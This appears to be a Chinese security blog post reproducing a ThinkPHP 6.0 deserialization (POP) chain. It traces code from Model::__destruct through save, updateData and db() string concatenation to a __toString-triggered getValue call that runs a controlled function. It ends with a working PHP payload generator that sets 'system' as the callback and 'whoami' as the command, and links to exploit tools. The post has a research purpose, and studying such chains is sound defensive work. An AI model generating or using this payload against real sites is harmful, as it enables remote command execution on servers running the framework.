thinkphp 6.0x pop

复现环境

thinkphp 6.0

背景回顾

相比较与5.1和5.2版本,6.0取消了Windows类,但是5.2.x版本函数动态调用的反序列化链后半部分,还可以利用。这意味着我们得重新找一个合适的起始触发点,

新起始触发点

这里找到vendor/topthink/think-orm/src/Model.php 中的destruct魔术方法作为新的起始触发点。

为了进入save函数,要确保lazySave为true。跟进save()

因为本次序列化漏洞点位于updateData(),所以要确保进入updateData().跟进isEmpty()和trigger()

 public function isEmpty(): bool
    {
        return empty($this->data);
    }

 protected function trigger(string $event): bool
    {
        if (!$this->withEvent) {
            return true;
        }

观察发现,要进入updateData(),需要构造$this->data不为空和$this->withEvent变量为false,$this->exists变量为true。

继续跟进updateData()。

protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

同样的,为了防止提前return,要确保$data不为空,跟进下getChangeData().

这里我们强制$this->force为true,使函数返回我们前面设置的非空$this->data.这样我们就成功到达checkAllowFields()的位置。跟进下checkAllowFields()

db()函数存在字符串拼接,可以触发toString函数.

设置$this->connection为mysql,$this->name或$this->suffix为想要触发toString的类。

反序列化链的后半部分

前面我们已经找到了触发toString的办法,后半部分执行命令是跟tp5.2.x一样的。

还是找到convesion类的toString办法。跟进toArray()

public function toArray(): array
    {
//.....
    $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

继续跟进getAttr()

 public function getData(string $name = null)
    {
        if (is_null($name)) {
            return $this->data;
        }

        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

 protected function getRealFieldName(string $name): string
    {
        return $this->strict ? $name : Str::snake($name);
    }

跟进getValue(),这里存在$value = $closure($value, $this->data);动态函数调用,我们要控制$closure,$value. php的system()第二个参数是可选的,system(‘ls’,”)是合法的。

下面来看看怎么控制$closure,$value

$closure = $this->withAttr[$fieldName];令$this->withAttr=[‘stao’=>’system’],接下来控制$fieldName=stao.

$fieldName = $this->getRealFieldName($name);分析getRealFieldName函数可以发现$this->strict为true时,返回的就是$name的值。所以要控制传入getValue()的参数$name为stao,$value为要执行的命令

在getAttr()中可以看到,传入$name的值即为传入getValue()的值。而$value= $this->getData($name);分析发现,传入getValue()的值即为$this->data[$fieldName];$fieldname=$name=stao.所以要控制$this->data=[‘stao’=>’要执行的命令’]。

最后我们再控制传入getAttr()的$name为stao即可。

所以$this->withAttr=[‘stao’=>’system’],$this->strict为true。$this->data=[‘stao’=>’要执行的命令’]。$this->visible[‘stao’]不为空。

梳理一下

vendor/topthink/think-orm/src/Model->destruct->$this->lazySave不为空->$this->save()->$this->data不为空和$this->withEvent变量为false,$this->exists变量为true->updateData()->$this->force为true->checkAllowFields()->$this->db()->$this->connection=’mysql’->$this->name=’触发tostring的类’->toArray()->getAttr()->getValue()->$closure($value, $this->data);

构造payload

<?php
namespace think;

class Model{
private $lazySave;
private $data;
protected $withEvent;
private $exists;
private $force;
protected $connection;
protected $name;
private $withAttr;
protected $strict;


public function __construct(){

$this->lazySave=true;
$this->data=['stao'=>'whoami'];
$this->withEvent=false;
$this->exists=true;
$this->force=true;
$this->connection='mysql';
$this->withAttr=['stao'=>'system']; //withAttr的键值要和data的键值一样。
$this->strict=true;

}

}
namespace think\model;

use think\Model;
class Pivot extends Model{
public function __construct($obj=''){
        parent::__construct();
        $this->name = $obj;
}

}

use think\model\Pivot;
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));

可以看到调用链

参考文章

https://www.anquanke.com/post/id/187393#h3-3

github工具

https://github.com/Dido1960/thinkphp
https://github.com/Dido1960/phpggc

留下评论

粤ICP备20010650号